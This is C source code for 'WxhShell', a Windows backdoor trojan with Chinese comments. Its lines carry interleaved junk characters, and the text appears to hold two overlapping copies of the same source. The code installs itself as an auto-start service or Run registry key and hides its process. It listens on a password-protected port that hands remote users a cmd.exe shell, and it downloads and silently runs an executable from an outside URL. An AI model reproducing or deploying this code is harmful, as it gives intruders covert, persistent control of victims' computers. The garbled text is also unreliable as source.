    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?u`+?" 'H  
    else { Tvf%'%h1  
    closesocket(wsh); W9>q1  
    ExitThread(0); %:rct  
    } 4L}i`)CmB  
    break; 1j7^2Y|UT`  
    } 7u/_3x1  
  // 获取shell QfjgBJo%  
  case 's': { w yi n  
    CmdShell(wsh); _(=[d  
    closesocket(wsh); w_o|k&~,  
    ExitThread(0); M_@%*y\o  
    break; --*Jv"/0  
  } 63R?=u@  
  // 退出 OrN>4S  
  case 'x': { (}1 gO  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); \]pRu"  
    CloseIt(wsh);  ;ew j  
    break; <:=}1t.Z  
    } B;f\H,/59  
  // 离开 U_!Wg|  
  case 'q': { QRb iO  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); PYWp2V/  
    closesocket(wsh); X1Vx 6+[  
    WSACleanup(); $*EK v'g[n  
    exit(1); d $~q  
    break; \ci'Cbn\o  
        } C" vj#Tx  
  } #P[d?pY  
  } oJ}!qrrH  
Qu4Bd|`(k  
  // 提示信息 et[n;nl>V  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 6`(x)Q9  
} w6ZyMR,T  
  } Y>v(UU  
bs{i@1$  
  return; !ER,o_T<  
} y" 4Nw]kU  
7P!<c/ E  
// shell模块句柄 {OHaI ;  
int CmdShell(SOCKET sock) M1(+_W`  
{ -P"9KnsO  
STARTUPINFO si; xD[O8vQE  
ZeroMemory(&si,sizeof(si)); ux-puG  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 78'HE(*  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; w@ 1g_dy  
PROCESS_INFORMATION ProcessInfo; C>\0 "}iD  
char cmdline[]="cmd"; h>>KH*dQ  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ""-#b^DQ  
  return 0; @2H"8KX  
} $Pw@EC]  
t As@0`x9  
// 自身启动模式 K/)*P4C-  
int StartFromService(void) 05_aL` &eb  
{ =2;2_u?  
typedef struct -"m4 A0  
{ l)@Zuh  
  DWORD ExitStatus; lP$bxUNt  
  DWORD PebBaseAddress; ')]K&  
  DWORD AffinityMask; NCm>iEeY  
  DWORD BasePriority; xw2dEvjgp%  
  ULONG UniqueProcessId; jhs('n,  
  ULONG InheritedFromUniqueProcessId; XN+~g.0  
}   PROCESS_BASIC_INFORMATION; Z4+S4cqnh  
ce3w0UeV  
PROCNTQSIP NtQueryInformationProcess; cWG>w6FI  
VRr_s:CWK  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; _ U/[n\oC  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; U;%I" p`Z/  
8WT^ES~C  
  HANDLE             hProcess; .Z[Bz7  
  PROCESS_BASIC_INFORMATION pbi; 3]Jl\<0  
VXr'Z  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); (N6 3k1M  
  if(NULL == hInst ) return 0; =b\k$WQ_(  
}6Y D5?4  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); d1&RK2  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); <A%}  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); (;1rM}B;1  
`U-i{i  
  if (!NtQueryInformationProcess) return 0; 3aMfZa<=  
N!O.=>8<  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); H"~]|@g-p  
  if(!hProcess) return 0; EbTjBq  
T)QZ9a  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 0UV5}/2rP  
JY$B%R4;]  
  CloseHandle(hProcess); <Uz~V;  
iR k.t=B  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); \?n4d#=$o  
if(hProcess==NULL) return 0; 2=?/$A9p  
r3~~4Q4XI>  
HMODULE hMod; #9HQW:On  
char procName[255]; s06tCwPp  
unsigned long cbNeeded; 3_%lN4sz  
wW5:p]<Y  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); AGxtmBB;  
Y\CR*om!W  
  CloseHandle(hProcess); _,S L;*G4|  
T(< [k:`  
if(strstr(procName,"services")) return 1; // 以服务启动 Rg4'9I%B  
.23z\M8 -  
  return 0; // 注册表启动 M\%LB}4M  
} &.1F \/]k  
,k% \f]a  
// 主模块 p#-;u1-B  
int StartWxhshell(LPSTR lpCmdLine) h>s|MZQ:*  
{ Q i&!Ub]  
  SOCKET wsl; `S&(J2KV  
BOOL val=TRUE; z5~{WAAI  
  int port=0; <:v2 N/i  
  struct sockaddr_in door; [A@K)A$f  
8|:bis~wm  
  if(wscfg.ws_autoins) Install(); )(&Z&2~A  
gY)NPi}!`  
port=atoi(lpCmdLine); qU ESN!  
@I\&-Z ^  
if(port<=0) port=wscfg.ws_port; gEWKM(5B}  
fpj,~+  
  WSADATA data; QfLDyJv`e  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; &4g]#A>@  
!8cS1(a  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   H l'za  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); <IiX_*  
  door.sin_family = AF_INET;  bnll-G|  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); &C_0JyT  
  door.sin_port = htons(port); cmw2EHTT<  
VBHDI{HzRv  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { v%mAU3M  
closesocket(wsl); ze%kP#c6!  
return 1; `RRC8]l  
} #LP38 wE  
KY1(yni&8[  
  if(listen(wsl,2) == INVALID_SOCKET) { D%tcYI(  
closesocket(wsl); aT v  
return 1; XynDo^+ru  
} LyEM^d]  
  Wxhshell(wsl); .}AzkKdd@  
  WSACleanup(); 'Q R @G  
fc}G6P;3{  
return 0; HM'P<<  
l4 @  
} :/F=j;o  
}sbh|#  
// 以NT服务方式启动 V$D+Joj  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) mM6g-)cV  
{ {*/&`$0lH|  
DWORD   status = 0; g;N)K3\2  
  DWORD   specificError = 0xfffffff; 80i-)a\n  
]u;Ma G=;  
  serviceStatus.dwServiceType     = SERVICE_WIN32; x1g0_&F  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; );8Nj zX1  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; OxGS{zs  
  serviceStatus.dwWin32ExitCode     = 0; \S]"nHX  
  serviceStatus.dwServiceSpecificExitCode = 0; hJuR,NP  
  serviceStatus.dwCheckPoint       = 0; \KBE+yj  
  serviceStatus.dwWaitHint       = 0; ~/R,oQ1!g}  
O'<5PwhG  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); x,f=J4yco  
  if (hServiceStatusHandle==0) return; =dVPx<l5  
<!+T#)Qi  
status = GetLastError(); 03]   
  if (status!=NO_ERROR) L4fM?{Ic:s  
{ 8T:?C~"  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; x.=Np\#\G-  
    serviceStatus.dwCheckPoint       = 0; `s0`kp  
    serviceStatus.dwWaitHint       = 0; RW4}n< 88  
    serviceStatus.dwWin32ExitCode     = status; \Lp|S:u  
    serviceStatus.dwServiceSpecificExitCode = specificError; 3LxhQVx2  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus);  >mk}  
    return; 9VEx0mkdd  
  } 'p%\fb6`  
?Ek 3<7d  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; XI4le=^EM  
  serviceStatus.dwCheckPoint       = 0; *]L(,_:"  
  serviceStatus.dwWaitHint       = 0; F&ud|X=m  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); J}$St|1y  
} utH,pGs C.  
|.OXe!uU41  
// 处理NT服务事件,比如:启动、停止 v)^8e0vx  
VOID WINAPI NTServiceHandler(DWORD fdwControl) \!+sL JP  
{ x WZ87  
switch(fdwControl) tWBfIHiha  
{ Y|*a,H"_  
case SERVICE_CONTROL_STOP: OGDCC/  
  serviceStatus.dwWin32ExitCode = 0; MF7q*f  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 5Op|="W.  
  serviceStatus.dwCheckPoint   = 0; OKXELP  
  serviceStatus.dwWaitHint     = 0; ?9Lp@k~TO  
  { P^wDt14>  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); y:C=Ni&,"  
  } ]c67zyX=%  
  return; D*!UB5<>/t  
case SERVICE_CONTROL_PAUSE: !$q *~F"S  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; cO&(&*J r  
  break; 4,nUCT  
case SERVICE_CONTROL_CONTINUE: V^v?;f?  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; f WUFCbSU  
  break; z5V~m_RO  
case SERVICE_CONTROL_INTERROGATE: RDX$Wy$@L  
  break; E%B:6  
}; ;x]CaG)f  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); K\bA[5+N  
} ,Pq@{i#  
6~:eO(pK l  
// 标准应用程序主函数 5$Q}Zxh  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) kjS9?>i  
{ jrF#DDH?I  
IB'gY0*  
// 获取操作系统版本 |a>W9Ym  
OsIsNt=GetOsVer(); +7`7cOqXg  
GetModuleFileName(NULL,ExeFile,MAX_PATH); '@jP$6T&  
" R=,W{=  
  // 从命令行安装 #i t)  
  if(strpbrk(lpCmdLine,"iI")) Install(); K!L0|W H%!  
_LYI#D  
  // 下载执行文件 E`M, n ,  
if(wscfg.ws_downexe) { bu}N{cW  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) *$+:Cbe-F  
  WinExec(wscfg.ws_filenam,SW_HIDE); ^]{)gk8P~2  
} JemB[  
Te\i;7;4u  
if(!OsIsNt) { pGwBhZnb>  
// 如果时win9x,隐藏进程并且设置为注册表启动 2r =8&~9z  
HideProc(); \$Jz26 -n  
StartWxhshell(lpCmdLine); ./Y5Vk#Rp\  
} P+9%(S)L3  
else i]8+JG6  
  if(StartFromService()) y3^>a5z!x  
  // 以服务方式启动 |qp^4vq.p  
  StartServiceCtrlDispatcher(DispatchTable); SU8vz/\%y  
else %o4d(C B  
  // 普通方式启动 KKFV+bK)  
  StartWxhshell(lpCmdLine); :iKk"r,2P[  
xE0'eC5n^  
return 0; l-~ o&n  
} #9's^}i  
eeix-Wt*E  
nQHQVcDs8  
54^2=bp  
=========================================== OG!+p}yD]  
W%&[gDp  
0q !  
?'jRUfl   
s)eU^4m  
UtpK"U$XOU  
" R9-Ps qmF  
]:K[{3iM  
#include <stdio.h> v 7g?  
#include <string.h> pS) &d4i  
#include <windows.h> ]b&"](A  
#include <winsock2.h> vz87]InI  
#include <winsvc.h> zCuN 8  
#include <urlmon.h> fG`<L;wi  
/XeCJxo8  
#pragma comment (lib, "Ws2_32.lib") ws_/F  
#pragma comment (lib, "urlmon.lib") O{Y_j&1  
Z~s"=kF,  
#define MAX_USER   100 // 最大客户端连接数 '^6jRI,  
#define BUF_SOCK   200 // sock buffer )W0zu\fL =  
#define KEY_BUFF   255 // 输入 buffer *~b}]M700  
K'DRX85F  
#define REBOOT     0   // 重启 F?3zw4Vt~  
#define SHUTDOWN   1   // 关机 HOPi2nf{  
@`D`u16]i  
#define DEF_PORT   5000 // 监听端口 7hq$vI%0  
xDtJ& 6uFw  
#define REG_LEN     16   // 注册表键长度 V39`J*fI  
#define SVC_LEN     80   // NT服务名长度 6.0/asN}  
!=t.AgmL  
// 从dll定义API kH9fK80  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); hp< NVST  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); y wf@G; fK  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ~ V:@4P  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); X v2u7T\  
Lfj]Y~*z  
// wxhshell配置信息 HZ8k%X}1  
struct WSCFG { /^jV-Z`  
  int ws_port;         // 监听端口 w<54mGMOLr  
  char ws_passstr[REG_LEN]; // 口令 :"utFBO  
  int ws_autoins;       // 安装标记, 1=yes 0=no F%s'R 0l  
  char ws_regname[REG_LEN]; // 注册表键名 NMCMY<o  
  char ws_svcname[REG_LEN]; // 服务名 :Dn{  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Pd^v-}[  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 $SAk|  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Y{v\m(D  
int ws_downexe;       // 下载执行标记, 1=yes 0=no qEW3k),  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" :~gG]|F  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 E5EAk6  
q n2X._`  
}; ^CtA@4  
hZ;[}5T\<S  
// default Wxhshell configuration B+w< 0No  
struct WSCFG wscfg={DEF_PORT, b+DBz}L4  
    "xuhuanlingzhe", `N,q~@gL  
    1, 1TIP23:  
    "Wxhshell", d#OE) ,`  
    "Wxhshell", CKau\N7T  
            "WxhShell Service", k5X& |L/  
    "Wrsky Windows CmdShell Service", rERHfr`OU  
    "Please Input Your Password: ", ySXQn#}-,  
  1, `dpm{s n  
  "http://www.wrsky.com/wxhshell.exe", U`HSq=J  
  "Wxhshell.exe" :t#N.[=&#  
    }; 0**.:K<i  
\A'tV/YAd  
// 消息定义模块 }-8ZSWog6f  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; WXgGB[x  
char *msg_ws_prompt="\n\r? for help\n\r#>"; bf2B  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; O*%@(w6  
char *msg_ws_ext="\n\rExit."; hCX_^%  
char *msg_ws_end="\n\rQuit."; < `/22S"  
char *msg_ws_boot="\n\rReboot..."; 'A}@XGE:p  
char *msg_ws_poff="\n\rShutdown..."; Sph:OX8  
char *msg_ws_down="\n\rSave to "; sE Rm+x<  
c&rS7%  
char *msg_ws_err="\n\rErr!"; VBe.&b8  
char *msg_ws_ok="\n\rOK!"; xD|CQo}:  
N)tqjq  
char ExeFile[MAX_PATH]; w]ZE('3%W  
int nUser = 0; |5h~&kA  
HANDLE handles[MAX_USER]; iXJ3B&x  
int OsIsNt; X u+^41  
v[UrOT:  
SERVICE_STATUS       serviceStatus; /O$7A7Tl  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 6 $k"B/k  
k9|8@3(h  
// 函数声明 y))) {X  
int Install(void); BWHH:cX  
int Uninstall(void); " F3M  m  
int DownloadFile(char *sURL, SOCKET wsh); ;I5u"MDHGI  
int Boot(int flag); F#S )))#  
void HideProc(void); >#[u"CB  
int GetOsVer(void); c@xQ2&i  
int Wxhshell(SOCKET wsl); (X?'}Ur  
void TalkWithClient(void *cs); Ld?-Ik~fF>  
int CmdShell(SOCKET sock);  \W',g[Y:  
int StartFromService(void); `1T?\  
int StartWxhshell(LPSTR lpCmdLine); -? |-ux  
U/|;u;H=  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 9jC>OZ0s  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); +"HLx%k  
F}C.F  
// 数据结构和表定义 TcP (?v  
SERVICE_TABLE_ENTRY DispatchTable[] = >2%*(nL  
{ `BA,_N|6  
{wscfg.ws_svcname, NTServiceMain}, N;A#K 7A[@  
{NULL, NULL} 5,,b>Z<  
}; F ^mMyK  
cp&- 6 w+  
// 自我安装 2 u{"R  
int Install(void) UDUj  
{ wj$J} F  
  char svExeFile[MAX_PATH]; r-,P  
  HKEY key; |~Op|gs  
  strcpy(svExeFile,ExeFile); 0';U3:=i,  
I5$@1+B  
// 如果是win9x系统,修改注册表设为自启动 r{Cbx#;  
if(!OsIsNt) { H1bPNt63  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { =%\y E0#  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); .-[d6Pnw  
  RegCloseKey(key); ha%3%O8Z  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { mK>c+ u)  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); +F9)+wT~;q  
  RegCloseKey(key); V:wx@9m)  
  return 0; Bn5O;I13  
    } \en}8r9cy  
  } dg?[gD8!4&  
} N!u(G  
else { iLyJ7zby  
6u'+#nm  
// 如果是NT以上系统,安装为系统服务 a+--2+~=  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); !RJuH;8  
if (schSCManager!=0) -ST[!W V  
{ Y5Ub[o  
  SC_HANDLE schService = CreateService c~0hu*&  
  ( r/32pY  
  schSCManager, #RG/B2  
  wscfg.ws_svcname, )0Lno|l  
  wscfg.ws_svcdisp, (1|_Nr  
  SERVICE_ALL_ACCESS, xD#r5  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ;ZSJ-r  
  SERVICE_AUTO_START, 9MmAoLm  
  SERVICE_ERROR_NORMAL, *&m{)cTs  
  svExeFile, '|9fDzW"]  
  NULL, rerl-T<3  
  NULL, (q@DBb4  
  NULL, e{~3&  
  NULL, 0rjH`H]M  
  NULL UZ`GS$D@  
  ); +-VkRr#  
  if (schService!=0) %]zaX-2dm!  
  { wTL&m+xr  
  CloseServiceHandle(schService); ZE!dg^-L  
  CloseServiceHandle(schSCManager); )Yc jx~   
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Wd R~  
  strcat(svExeFile,wscfg.ws_svcname); Q|O! cEW/  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { FBR]) h'Z  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 7LQLeQvB  
  RegCloseKey(key); -j6&W`  
  return 0; ^x:%_yGY  
    } }qa8o  
  } .sO.Y<- fl  
  CloseServiceHandle(schSCManager); %B ,>6 `[  
} h^tU*"   
} 4^KeA".  
AaVj^iy/X  
return 1; $Ka-ZPy<#  
} 7AE)P[  
" wB~*,Ny  
// 自我卸载 |fJpX5W-l  
int Uninstall(void) w=]bj0<A=  
{ D]{#!w(d  
  HKEY key; ?dJ[? <aG  
6zJ<27  
if(!OsIsNt) { y" (-O%Pe  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { >AbgJ*X.  
  RegDeleteValue(key,wscfg.ws_regname); @Yv.HhO9  
  RegCloseKey(key); 7({"dW  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ;{zgp  
  RegDeleteValue(key,wscfg.ws_regname); O e-FI+7  
  RegCloseKey(key); M_5$y )M  
  return 0; #`1@4,iC  
  } s bxOnw P\  
} tML[~AZh  
} #i8] f{  
else { K%+[2Hj2  
q13bV  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); fG+/p 0sJ?  
if (schSCManager!=0) |Sne\N>%  
{ -*Voui  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); SnK#YQCDt  
  if (schService!=0) WB: NV=&^  
  { '_f]qNy  
  if(DeleteService(schService)!=0) { 8f""@TTp  
  CloseServiceHandle(schService); JDQ7  
  CloseServiceHandle(schSCManager); ot"3 3I  
  return 0; Y5 BWg  
  } gJkk0wok C  
  CloseServiceHandle(schService); W'>"E/Tx#O  
  } yJ\K\\]  
  CloseServiceHandle(schSCManager); B.e3IM0  
} 3C+!Y#F  
} qqmhh_[T  
G,VTFM6  
return 1; J FYV@%1~  
} iiWs]5  
MDHTZ9 4\Q  
// 从指定url下载文件 -v '|#q  
int DownloadFile(char *sURL, SOCKET wsh) /M}jF*5N  
{ Rh[%UNl  
  HRESULT hr; _y,? Cj=u|  
char seps[]= "/"; Nq$Xe~,*  
char *token; q_h=O1W  
char *file; +A 4};]W|  
char myURL[MAX_PATH]; @w%{yzr%  
char myFILE[MAX_PATH]; b,Z\{M:f;F  
Kzj9!'0R  
strcpy(myURL,sURL); Gu3# y"a>  
  token=strtok(myURL,seps); &YSjwRr  
  while(token!=NULL) (?G?9M#7_  
  { -3z$~ {  
    file=token; ,)S(SnCF  
  token=strtok(NULL,seps); z'FpP  
  } E{Tvjh+  
_{eH" ,(  
GetCurrentDirectory(MAX_PATH,myFILE); >uu ]K  
strcat(myFILE, "\\");  Uz;z  
strcat(myFILE, file); Wfw6(L  
  send(wsh,myFILE,strlen(myFILE),0); {Q%"{h']  
send(wsh,"...",3,0); 8lI'[Y?3.  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 3gUGfe di  
  if(hr==S_OK) BI BBp=+  
return 0; mbij& 0  
else O|5Z-r0<  
return 1; _P^ xX'v  
,#NH]T`c1  
} Gkc.HFn(  
*dTI4k  
// 系统电源模块 o7qZy |\4S  
int Boot(int flag) ai3wSUYJi  
{ TQor-Cymz  
  HANDLE hToken; '@{'T LMCi  
  TOKEN_PRIVILEGES tkp; 2feiD?0  
3M?vK(zG>P  
  if(OsIsNt) { u_;&+o2  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); LD.^.4{c:  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); [m}58?0~x  
    tkp.PrivilegeCount = 1; da'7* &/  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ,KfBG<3   
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); dbmty|d  
if(flag==REBOOT) { Y &G]M  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) \Q CH.~]  
  return 0; I6jDRC0<  
} ?3I93Bt7  
else { F!LVyY"w  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) -W#-m'Lvu  
  return 0; 'Q^P#<<  
} l2AAEB_C.  
  } @TvoCDeI  
  else { 8 [z<gxP`?  
if(flag==REBOOT) { K}r@O"6*\  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) A9?h*/$  
  return 0; /]_a\x5Ss  
} ;RmL'  
else { rA">< pH  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) P B W.nm  
  return 0; B9Ha6kj  
} }'"4q  
} #dd-rooQuD  
Ykt{]#  
return 1; B!;qz[]I  
} AP2BND9  
cAL*Md8+  
// win9x进程隐藏模块 l'K3)yQEJ  
void HideProc(void) YFGQPg  
{ SWrt4G  
5ree3 quh  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); T!iRg=<bz  
  if ( hKernel != NULL ) snl$v  
  { voD0 u  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); >h[ {_+  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); A#WvN>  
    FreeLibrary(hKernel); $69ef[b  
  } |?kZfr&9q  
miq"3  
return; gvoo1 Sa  
} ThvVLK  
e%B;8)7  
// 获取操作系统版本 ~&UfnO  
int GetOsVer(void) tW=,o&C=  
{ `;:zZ8*  
  OSVERSIONINFO winfo; B?-~f^*,jG  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); a2z1/Nh  
  GetVersionEx(&winfo); cP]5Qz   
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) SU {U+  
  return 1; E&RiEhuv  
  else ff1Em.  
  return 0; dV:vM9+x  
} ,pg\5b  
3Mw2;.rk  
// 客户端句柄模块 Xyf7sHQ  
int Wxhshell(SOCKET wsl) RH"&B`  
{ .;:jGe(  
  SOCKET wsh; /F3bZ3F  
  struct sockaddr_in client; FTA[O.tiG  
  DWORD myID; |.qK69  
/.[;u1z"^  
  while(nUser<MAX_USER) 1 Ar6hA  
{ knPo"GQW  
  int nSize=sizeof(client); :We}l;.jQ  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); [^J2<\<0  
  if(wsh==INVALID_SOCKET) return 1; fG^#G/n2  
V*|#j0}b  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); f"wm]Q59  
if(handles[nUser]==0) OFyZY@B-C~  
  closesocket(wsh); =>_k;x  
else 4raKhN"  
  nUser++; CQ(;L{}  
  } R24ZjbKL  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); (ohza<X;6  
<]/z45?  
  return 0; 3 E~d  
} 3XOf-v:~  
4Y=sTXbFt  
// 关闭 socket l$:.bwXXO  
void CloseIt(SOCKET wsh) h /.^iT  
{ B!#F!Wk"  
closesocket(wsh); %U4w@jp  
nUser--; Ga%x(1U[&  
ExitThread(0); ,z*-93H1  
} ZgXn8O[a  
YTtuR`  
// 客户端请求句柄 syseYt]  
void TalkWithClient(void *cs) Yy_o*Ozq  
{ z@_ 9.n]  
9aE.jpN  
  SOCKET wsh=(SOCKET)cs; T\Zq/Z\  
  char pwd[SVC_LEN]; |.s#m^"  
  char cmd[KEY_BUFF]; RCS91[  
char chr[1]; f a9n6uT  
int i,j; cITF=Ez  
H,? )6pZ  
  while (nUser < MAX_USER) { 1VH$l(7IQ  
mJ>@Dh3>G  
if(wscfg.ws_passstr) { :=0XT`iY  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); @aA1=9-L  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); -quWnn/  
  //ZeroMemory(pwd,KEY_BUFF); CQLh;W`Dc  
      i=0; XO=UKk+EK  
  while(i<SVC_LEN) { R m{\ R  
z_jTR[dY  
  // 设置超时 "DW; 6<m  
  fd_set FdRead; )k@+8Yfa1p  
  struct timeval TimeOut; mp{r$tc  
  FD_ZERO(&FdRead); iTt#%Fs)4M  
  FD_SET(wsh,&FdRead); e^Ds|}{V  
  TimeOut.tv_sec=8; r RfPq  
  TimeOut.tv_usec=0; u_5O<UP5  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); xyoh B#'W  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Gob;dku  
`$X|VAS2  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); LGOeBEAMV^  
  pwd=chr[0]; &SzLEbU!  
  if(chr[0]==0xd || chr[0]==0xa) { 5&uS700  
  pwd=0; C&\vVNV;9  
  break; w84 ] s%y  
  } Mohy;#8Wk  
  i++; e' `xU  
    } d^&F%)AT  
,r,~1oV<"  
  // 如果是非法用户,关闭 socket w(P\+ m<%  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); f> u{e~Q,  
} 7Y8B \B)w  
owA0I'|V-A  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); {GaQV-t  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); $rZ:$d.C  
4zF|}aiQ  
while(1) { Wgh4DhAW  
#&@qmps(T  
  ZeroMemory(cmd,KEY_BUFF); :\0q\2e[<  
Se o3a6o  
      // 自动支持客户端 telnet标准   i>Cxi ZT  
  j=0; ")q{>tV  
  while(j<KEY_BUFF) { %Jrdr`<  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); NMSpi[dr  
  cmd[j]=chr[0]; UL/|!(s  
  if(chr[0]==0xa || chr[0]==0xd) { U#B,Q6~  
  cmd[j]=0; T4W"!4[  
  break; Z66b>.<8  
  } [7gyF}*;  
  j++; %^L :K5V  
    } _HT*>-B  
I6]|dA3G  
  // 下载文件 W~1/vJ.*l  
  if(strstr(cmd,"http://")) { b}G4eXkuj  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); s[yIvlHw`  
  if(DownloadFile(cmd,wsh)) 5(/ 5$u   
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); J,s)Fu\j@  
  else a0"gt"q A  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);  c|N!ZYJI  
  } qAH@)}  
  else { #5?Q{ORN o  
+uF!.!}  
    switch(cmd[0]) { 9o.WJ   
  %6`{KT?  
